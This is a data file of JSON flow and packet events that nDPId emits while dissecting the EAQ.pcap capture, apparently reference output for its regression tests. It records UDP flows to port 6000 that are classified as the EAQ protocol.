+00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":131,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1432821010311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.68","src_port":36577,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":70,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":131,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821010,"pkt_ts_usec":311383,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR0rEKCAAByMKVRI7hF3AAGPInAAAAAgAADd4ADGFIAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":132,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1432821011311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.67","src_port":60013,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":71,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":132,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821011,"pkt_ts_usec":311383,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR37IKCAAByMKIQ+ptF3AAGKMiAAAAAgAADd4ADGHCAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":133,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1432821012311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.66","src_port":33356,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":72,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":133,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821012,"pkt_ts_usec":311566,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR0rMKCAAByMKVQoJMF3AAGLfNAAAAAgAADd4ADqg3AACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":134,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1432821013311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.67","src_port":40058,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":73,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":134,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821013,"pkt_ts_usec":311413,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR4bIKCAAByMKGQ5x6F3AAGKtOAAAAAgAADd4ADqmHAACQAA=="} +00412{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":135,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821014,"pkt_ts_usec":311352,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR3WwKCAAByLmKkswhF3AAGOYEAAAAAwAADd8AATrvAACQAA=="} +00412{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":136,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821014,"pkt_ts_usec":375073,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsACRAABARDUnIuYqSCggAARdwzCEAGBYFAAAAAwAADd8AATrvAABgAA=="} +00412{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":137,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821014,"pkt_ts_usec":375195,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR6hwKCAAByLl94r76F3AAGLHkAAAAAwAADd8AAYjmAACQAA=="} +00412{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":138,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821014,"pkt_ts_usec":444928,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsACVAABARGfjIuX3iCggAARdwvvoAGOHkAAAAAwAADd8AAYjmAABgAA=="} +00413{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":139,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821014,"pkt_ts_usec":445019,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR07IKCAAByMKUQ8lxF3AAGMzpAAAAAwAADd8AAkz\/AACQAA=="} +00413{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":140,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821014,"pkt_ts_usec":515057,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsACZAABARA43IwpRDCggAARdwyXEAGPzpAAAAAwAADd8AAkz\/AABgAA=="} +00412{"flow_id":7,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":141,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821014,"pkt_ts_usec":515118,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR07MKCAAByMKUQqZ8F3AAGLwtAAAAAwAADd8ABYCuAACQAA=="} +00412{"flow_id":7,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":142,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821014,"pkt_ts_usec":585400,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsACdAABARA43IwpRCCggAARdwpnwAGOwtAAAAAwAADd8ABYCuAABgAA=="} +00412{"flow_id":8,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":143,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821014,"pkt_ts_usec":585492,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR07EKCAAByMKURKp5F3AAGKcRAAAAAwAADd8ABpHKAACQAA=="} +00412{"flow_id":8,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":144,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821014,"pkt_ts_usec":655194,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAChAABARA4rIwpRECggAARdwqnkAGNcRAAAAAwAADd8ABpHKAABgAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":145,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1432821014655,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.66","src_port":41438,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":74,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":145,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821014,"pkt_ts_usec":655285,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR2rMKCAAByMKNQqHeF3AAGIdgAAAAAwAADeAAAsEbAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":146,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":1432821015651,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.68","src_port":34687,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00414{"flow_id":75,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":146,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821015,"pkt_ts_usec":651715,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR2rEKCAAByMKNRId\/F3AAGLvjAAAAAwAADeAABabyAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":147,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_first_seen":1432821016651,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.67","src_port":39221,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":76,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":147,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821016,"pkt_ts_usec":651837,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR3rIKCAAByMKJQ5k1F3AAGK1YAAAAAwAADeAABafIAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":148,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":1432821017651,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.66","src_port":53354,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00414{"flow_id":77,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":148,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821017,"pkt_ts_usec":651715,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR3rMKCAAByMKJQtBqF3AAGE\/BAAAAAwAADeAABc4rAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":149,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_first_seen":1432821018651,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.68","src_port":59959,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":78,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":149,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821018,"pkt_ts_usec":651745,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR3rEKCAAByMKJROo3F3AAGA+uAAAAAwAADeAABfRvAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":150,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":1,"flow_first_seen":1432821019651,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.67","src_port":37985,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":79,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":150,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821019,"pkt_ts_usec":651349,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR5rIKCAAByMKBQ5RhF3AAGB7YAAAAAwAADeAABkMcAACQAA=="} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":151,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1432821010311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.68","src_port":36577,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":151,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1432821010311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.68","src_port":36577,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":151,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":1432821015651,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.68","src_port":34687,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":151,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":1432821015651,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.68","src_port":34687,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":151,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":1432821017651,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.66","src_port":53354,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":151,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":1432821017651,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.66","src_port":53354,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":151,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_first_seen":1432821016651,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.67","src_port":39221,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":151,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_first_seen":1432821016651,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.67","src_port":39221,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":151,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1432821014655,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.66","src_port":41438,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":151,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1432821014655,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.66","src_port":41438,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":151,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_first_seen":1432821018651,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.68","src_port":59959,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":151,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_first_seen":1432821018651,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.68","src_port":59959,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":151,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1432821012311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.66","src_port":33356,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":151,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1432821012311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.66","src_port":33356,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":151,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1432821011311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.67","src_port":60013,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":151,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1432821011311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.67","src_port":60013,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":151,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":1,"flow_first_seen":1432821019651,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.67","src_port":37985,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":151,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":1,"flow_first_seen":1432821019651,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.67","src_port":37985,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":151,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1432821013311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.67","src_port":40058,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":151,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1432821013311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.67","src_port":40058,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":151,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":1,"flow_first_seen":1432821020651,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.66","src_port":48666,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":80,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":151,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821020,"pkt_ts_usec":651318,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR5rMKCAAByMKBQr4aF3AAGPQqAAAAAwAADeAABkQRAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":152,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":1,"flow_first_seen":1432821021652,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.68","src_port":47714,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":81,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":152,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821021,"pkt_ts_usec":652356,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR5rEKCAAByMKBRLpiF3AAGNJTAAAAAwAADeAABmmeAACQAA=="} +00413{"flow_id":16,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":153,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821022,"pkt_ts_usec":651318,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR47MKCAAByMKEQqvLF3AAGLItAAAAAwAADeAABpVdAACQAA=="} 